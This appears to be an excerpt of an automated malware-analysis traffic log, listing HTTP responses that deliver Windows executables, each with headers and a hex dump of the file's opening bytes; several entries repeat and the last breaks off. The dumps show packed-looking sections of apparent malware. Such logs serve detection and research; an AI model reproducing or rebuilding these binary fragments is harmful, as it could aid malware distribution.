Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 13:32:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 13:32:21 GMTContent-Type: application/octet-streamContent-Length: 3275264Last-Modified: Mon, 11 Nov 2024 13:28:55 GMTConnection: keep-aliveETag: "67320697-31fa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 00 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 32 00 00 04 00 00 a5 ac 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 ee 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 ee 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 73 6f 76 61 6b 73 6b 00 40 2b 00 00 b0 06 00 00 40 2b 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 62 68 69 61 70 61 67 00 10 00 00 00 f0 31 00 00 04 00 00 00 d4 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 32 00 00 22 00 00 00 d8 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 13:33:06 GMTContent-Type: application/octet-streamContent-Length: 3191808Last-Modified: Mon, 11 Nov 2024 13:28:34 GMTConnection: keep-aliveETag: "67320682-30b400"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 c0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 30 00 00 04 00 00 0a 82 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 80 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 90 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 94 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 77 78 75 66 66 73 79 00 00 2b 00 00 b0 05 00 00 f8 2a 00 00 96 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 6c 6f 63 7a 66 6b 73 00 10 00 00 00 b0 30 00 00 04 00 00 00 8e 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 30 00 00 22 00 00 00 92 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 13:33:11 GMTContent-Type: application/octet-streamContent-Length: 1792512Last-Modified: Mon, 11 Nov 2024 13:28:47 GMTConnection: keep-aliveETag: "6732068f-1b5a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 f0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 69 00 00 04 00 00 a1 16 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 6c 71 6d 72 65 66 63 00 c0 19 00 00 20 4f 00 00 be 19 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 76 68 6f 6b 6e 7a 75 00 10 00 00 00 e0 68 00 00 04 00 00 00 34 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 68 00 00 22 00 00 00 38 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 13:33:19 GMTContent-Type: application/octet-streamContent-Length: 2834432Last-Modified: Mon, 11 Nov 2024 12:50:46 GMTConnection: keep-aliveETag: "6731fda6-2b4000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 a8 cd 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 74 6f 69 69 67 79 6a 00 e0 2a 00 00 a0 00 00 00 e0 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6f 66 69 6c 69 79 78 00 20 00 00 00 80 2b 00 00 04 00 00 00 1a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 1e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 13:33:19 GMTContent-Type: application/octet-streamContent-Length: 2834432Last-Modified: Mon, 11 Nov 2024 12:50:46 GMTConnection: keep-aliveETag: "6731fda6-2b4000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 a8 cd 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 74 6f 69 69 67 79 6a 00 e0 2a 00 00 a0 00 00 00 e0 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6f 66 69 6c 69 79 78 00 20 00 00 00 80 2b 00 00 04 00 00 00 1a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 1e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 13:33:19 GMTContent-Type: application/octet-streamContent-Length: 2834432Last-Modified: Mon, 11 Nov 2024 12:50:46 GMTConnection: keep-aliveETag: "6731fda6-2b4000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 a8 cd 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 74 6f 69 69 67 79 6a 00 e0 2a 00 00 a0 00 00 00 e0 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6f 66 69 6c 69 79 78 00 20 00 00 00 80 2b 00 00 04 00 00 00 1a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 1e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 13:33:39 GMTContent-Type: application/octet-streamContent-Length: 1792512Last-Modified: Mon, 11 Nov 2024 13:28:47 GMTConnection: keep-aliveETag: "6732068f-1b5a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 